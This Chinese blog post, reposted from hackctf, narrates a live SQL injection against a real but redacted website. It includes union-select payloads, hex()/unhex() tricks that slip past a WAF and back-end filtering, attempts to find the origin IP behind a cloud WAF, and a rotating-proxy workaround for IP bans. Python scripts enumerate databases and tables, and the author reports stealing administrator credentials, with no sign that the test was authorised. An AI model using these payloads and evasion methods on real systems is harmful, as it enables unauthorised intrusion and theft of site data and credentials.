不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

实战绕过两层waf完成sql注入

某网站存在一处sql注入漏洞。

第一层 waf

在 id 后面加上 and 1=1,被 waf 拦截

图1–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

将空格替换为加号 +,即 id=296+and+1=1 不再拦截

图2–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

再将 id 改为 id=296+and+1=2,新闻详情返回为空,确认存在注入漏洞

图3–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

通过 order by 查询字段数 ↓

字段数超过长度的时候,新闻详情展示为空,没有超过长度的时候正确展示新闻详情

图4–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

图5–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术 图6–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术 图7–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

通过二分法不断测试,查询的字段数为 11

union 联合查询判断字段输出位置 ↓
将 union 前面的id值设置为负数,使之返回为假
从页面返回可以看出,2,4,8 的位置能展示返回内容

图8–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图9–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

分别查询user()version()database() 确认可以正常返回

图10–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图11–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

选择标题位置继续获取更多信息

查询所有的数据库名,被 waf 拦截

图12–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图13–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

分别将 URL 中的 group_concat()frominformation_schemaschemata 字符依次删除并发送请求.
最后确定是group_concat() 命中了waf规则,并且是 group_concat 和括号 () 在一起的时候才会触发拦截。

将 group_concat() 替换为 group_concat/**/(),仍然被拦截

图14–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图15–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

不确定是黑名单匹配还是只要包含/**/这类注释就用正则匹配全部拦截,测试一下,打开burpsuite,使用intrude模块在 /**/ 中间加入随机任意字符串例如 /*asd13*/ 等,发现确实有些返回包不是 waf 拦截,但是返回状态码403且有如下提示,同样无法正常展示注入的数据,此路行不通

图16–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图17–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

尝试内敛注释 /*!group_concat()*/ 也被拦截

图18–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图19–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

拼接字符串相关的 concat()函数、concat_ws()函数都被拦截。

好吧,那就不直接获取全部返回值了,老老实实加上 limit 一个一个来吧

图20–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图21–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

没有被 waf 拦截,但是没有回显数据

问题来了,version()、user() 这些可以正常返回到前端页面,说明这个注入点是可以回显的,但是具体查询表数据的时候不展示,很有可能是后台代码对返回到前端的数据做了过滤,涉及敏感库表信息的就返回空值。

因此就先不花精力去尝试布尔盲注、时间盲注、NDSlog盲注等浪费时间的操作。先将查询的数据做一次变形,看是否能绕过后台匹配逻辑。

ascii()

将查询的数据放到 ascii() 方法中,waf 没有拦截,可以正常返回数据

图22–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图23–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

ascii() 方法是返回字符串的第一个字符的 ascii 值,所以这里查询到的数据库名第一个字母是 h
可以写个简单的脚本或者用 burpsuite 替换 limit 的值挨个查询剩余数据库名的每个字符串ascii值再转换回字符串

hex()

将查询的数据放到 hex() 方法中,waf 也没有拦截,同样可以正常返回数据 图24–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术 图25–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

比 ascii() 更方便,可以将整条数据都进行 hex 编码而不只是第一个字符,再通过 unhex() 方法转换回字符串

图26–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图27–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

接下来就可以手动+burpsuit获取一个个表名和表内数据了

第二层云 waf

burp 获取的数据不够直观,用 python 重新写一下

获取全部数据库名 ↓
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import time,requests,lxml
from bs4 import BeautifulSoup

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 Edg/81.0.416.50'
}

for i in range(0,10000):
    url = 'http://www.xxx.com/xx.php?id=296+and+1=2+union+select+1,2,3,4,5,6,7,unhex(hex(schema_name)),9,10,11+from+information_schema.schemata+limit+%d,1--+' % i
    r = requests.get(url,headers=headers)
    soup = BeautifulSoup(r.text,'lxml')
    result = soup.select('div.main_word > div.main_cont > div.new_txt')[0].text.strip()
    if result != '':
        print(result)
    else:
        print('所有库查询完毕'+'\n'+'-'*30)
        break

图28–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图29–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

当前权限只查询出两个表,一个是 mysql 内置的 information_schema,另一个就是网站管理员自定义的表 hxxxxxxg

获取 hxxxxxxg 库内的所有表名称 ↓

上面代码中 url 中的参数换成查询表名称的 sql

1
2
3
4
5
6
7
8
9
10
11
12
...

for i in range(0,10000):
    url = 'http://www.xxx.com/xx.php?id=296+and+1=2+union+select+1,2,3,4,5,6,7,unhex(hex(table_name)),9,10,11+from+information_schema.tables+where+table_schema="hxxxxxxg"+limit+%d,1--+'%i
    r = requests.get(url,headers=headers)
    soup = BeautifulSoup(r.text,'lxml')
    result = soup.select('div.main_word > div.main_cont > div.new_txt')[0].text.strip()
    if result != '':
        print(result)
    else:
        print('所有表查询完毕')
        break

图30–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图31–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

查询到8个表后脚本执行报错,在返回页面找不到数据
打开浏览器查看

图32–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图33–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

是因为被另一个 waf 拦截导致的,这个是西部数据的云 waf 平台
绕过云 waf 的思路主要是找该网站的真实 IP,如果能找到真实 IP 在本地电脑 host 绑定一下,那么云 waf 就形同虚设。

首先验证是否有 CDN

图34–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图35–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

多个地区的 ping 地址一样,解析的 IP 地址都是西部数码数据中心,也就是云 waf 的机房

查看 DNS 解析历史

图36–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术 图37–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术
图38–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

图39–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

从不同的 DNS 历史解析平台查询到几个跟云 waf 不同网段的IP,很可能是网站之前的真实 IP

然而…挨个访问这些 IP 发现早已无法访问。

查询子域名 IP
layer子域名挖掘机和subdomainbrute扫描子域名

图40–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术图41–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

发现两个其他的域名,一个mail开头的 IP ,访问跳转到了网易邮箱主页,应该是该网站的企业邮箱用的网易邮箱服务。
另一个域名是smtp,访问这些 IP 也早已经无法访问

该网站也没有调起发送邮件的入口(例如邮箱注册等),无法通过邮件获取真实 IP。
通过钟馗之眼、fofa、shodan 等平台也没有找到该网站有价值的数据。
查找真实 IP 绕过云 waf 这条路暂时没有好办法,放弃。

峰回路转 ↓

根据这个云 waf 的提示很可能是由于请求速度过快,被当作是攻击行为进行了拦截导致 ip 被ban。

于是更换 ip 并增加等待时间结果不久后还是被拦截。

想起之前做爬虫时候写的 [ip 代理池],猜想:如果每次请求更换一个随机的 ip 是否能绕过 waf。

IP_POOL 是一个自动获取 ip 的程序,python 编写,配合安装在本地的 redis 数据库维持代理池的可用性,默认从西刺代理和快代理采集前10页的免费代理,也可以手动添加其他网站进行采集,或者购买付费代理添加到此程序中。
使用 flask 库对外开放三个接口,分别是:获取全部 ip,随机获取一个可用 ip,获取所有的 ip 数量

二话不说,找到之前写的代码,运行起来

图42–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

将获取 ip 的接口带入到之前的请求中再次尝试,每次请求随机更换一个 ip。

1
2
3
4
5
6
7
8
def get_proxy():
    proxy = requests.get('http://localhost:5000/random').text
    return proxy

for i in range(0,10000):
    ...
    r = requests.get(url,headers=headers,proxies={'http':'http://'+get_proxy()})
    ...

该数据库中的所有表都查了出来,共 338 个表。

其中有一个 “**_admin” 表,应该储存里管理员的信息,查一下字段。

图43–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术 图44–实战绕过两层waf完成sql注入–seo优化_前端开发_渗透技术

果然有 uname 和 pwd 字段,成功拿到管理员账号密码。

自动获取其他表数据同理,将python脚本中 URL 的参数修改为查询表数据的 sql 即可,不再赘述

总结

1.绕过第一层 waf 是利用了它对敏感函数过滤不严格,可以利用hex编码/解码来使得查询的数据正常展示。
2.平时可以维护一个代理池,在遇到云 waf 无法找到网站真实 ip 的时候可以从这方面绕过。

转自:hackctf

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 实战绕过两层waf完成sql注入

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏